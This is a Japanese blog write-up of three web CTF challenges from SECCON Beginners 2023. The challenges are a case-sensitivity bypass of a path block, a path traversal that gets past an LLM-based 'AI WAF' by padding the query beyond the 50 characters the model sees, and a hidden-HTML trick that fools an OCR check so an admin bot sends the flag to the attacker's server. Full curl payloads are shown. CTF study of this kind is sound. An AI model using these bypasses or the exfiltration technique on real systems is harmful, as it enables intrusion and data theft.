5
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

SECCON Beginners 2023 Writeup web(Forbidden, aiwaf, phisher2)

Posted at

はじめに

SECCON Beginners 2023に参加しました!

解けた問題のうち、webの問題についてどのように解いたかを書きます。

[web] Forbidden

以下のようなアプリケーションが立っていて、そこからflagを取る問題でした。
一見、/flagにアクセスをするとゲットできそうですが、リクエストパスに/flagが含まれていると403が返るようになっています。

app.js
var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});

Expressのドキュメントを見てみると、

Enable case sensitivity.
Disabled by default, treating “/Foo” and “/foo” as the same.

とのことなので、/Flagなどでアクセスをすることで回避できます。

$ curl https://forbidden.beginners.seccon.games/Flag
ctf4b{403_forbidden_403_forbidden_403}

[web] aiwaf

以下のようなアプリケーションで、fileクエリパラメータで示したファイルをレスポンスとして返すものでした。
?file=../flagのようにしてあげるとよいのですが、AI WAFがいるためそのままではflagを取得できません。

$ exa -T -L 2 .
.
├── app.py
├── books
│  ├── book0.txt
│  ├── book1.txt
│  ├── book2.txt
│  ├── book3.txt
│  └── book4.txt
├── Dockerfile
├── flag
├── requirements.txt
└── uwsgi.ini
app.py
import uuid
import openai
import urllib.parse
from flask import Flask, request, abort

# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address

##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################

app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True

# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])

openai.api_key = KEY

top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="utf-8" />
    <title>亞空文庫</title>
</head>

<body>
    <h1>亞空文庫</h1>
    AIにセキュリティの物語を書いてもらいました。<br>
    内容は正しいかどうかわかりません。<br>
<ul>
    <li><a href="/?file=book0.txt">あ書</a></li>
    <li><a href="/?file=book1.txt">い書</a></li>
    <li><a href="/?file=book2.txt">う書</a></li>
    <!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>

※セキュリティのためAI-WAFを導入しています。<br>
© 2023 ももんがの書房
</body>

</html>
"""


@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

一見、プロンプトインジェクションに見えますが、よく見ると

{urllib.parse.unquote(request.query_string)[:50]}

となっており、クエリパラメータの先頭50文字しか送っていないことがわかります。

そのため、

?こんにちは。おげんきですか。こんにちは。おげんきですか。こんにちは。おげんきですか。こんにちは。おげんきですか。&file=../flag

のように50文字以降にfile=../flagがくるようにしてあげると回避できます。

$ curl 'https://aiwaf.beginners.seccon.games/?%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%
80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1
%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%8
2%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82&file=../flag'
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

[web] phisher2

この問題は、

POST /に送られてきたtextパラメータをHTMLファイルとして書き込み、
そのHTMLファイルをChromeで表示させて、スクリーンショットを取ります。
そして、OCRでそのスクリーンショットからテキストを読み取り、
読み取ったテキストがfind_url_in_textでマッチする、かつhttps://phisher2.beginners.seccon.gamesで始まっている場合、
textパラメータでfind_url_in_textにマッチするURLに?flag=FLAGクエリパラメータをつけてリクエストが送られる。

というようなものになっています。

app.py
import os
import uuid
from admin import share2admin
from flask import Flask, request

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return open("./index.html").read()

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0")
admin.py
import os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")

# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")


def openWebPage(fileId: str):
    try:
        chrome_options = webdriver.ChromeOptions()
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--window-size=1920,1080")
        driver = webdriver.Chrome(options=chrome_options)
        driver.implicitly_wait(10)
        url = f"file:///var/www/uploads/{fileId}.html"
        driver.get(url)

        image_path = f"./images/{fileId}.png"
        driver.save_screenshot(image_path)
        driver.quit()
        text = ocr(image_path)
        os.remove(image_path)
        return text
    except Exception:
        return None


def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()


def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text

そのため、

  • OCRでhttps://phisher2.beginners.seccon.gamesが返るようにする
  • textパラメータのfind_url_in_textのマッチで自分のサーバーが返るようにする
  • 自分のサーバーのアクセスログを見る

でflagをゲットできます。

OCRで`https://phisher2.beginners.seccon.games`が返るようにするは、textパラメータの内容がHTMLファイルとしてブラウザに読み込まれるので、

<p style="display: none;">https://example.com</p>
<p>https://phisher2.beginners.seccon.games/</p>

のようにしてあげることで倒せます。
(自分のサーバーをhttps://example.comとする場合)

`text`パラメータの`find_url_in_text`のマッチで自分のサーバーが返るようにするは、はじめにマッチしたURLが返ることがわかるので、https://phisher2.beginners.seccon.games/を後ろのほうに書いてあげればよいことがわかります。

def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()

最終的なリクエストは以下になります。

$ curl -X POST -H "Content-Type: application/json" -d '{"text":"<p style=\"display: none;\">https://example.com</p><p>https://phisher2.beginners.seccon.games/</p>"}' https://phisher2.beginners.seccon.games
{"input_url":"<p style=\"display: none;\">https://example.com</p><p>https://phisher2.beginners.seccon.games/</p>","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/"}

自分のサーバーのアクセスログを見てみると、

(snip) GET /?flag=ctf4b%7Bw451t4c4t154w?%7D HTTP/1.1" 200 (snip)

flagつきでリクエストされています。
パーセントエンコーディングされているので、戻してあげればflagゲットです。

irb(main)> require 'uri'; URI.decode_www_form_component('ctf4b%7Bw451t4c4t154w?%7D')
=> "ctf4b{w451t4c4t154w?}"

さいごに

web以外の問題も解けたものがいくつかあるので、またWriteupを書ければなと思います!

5
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?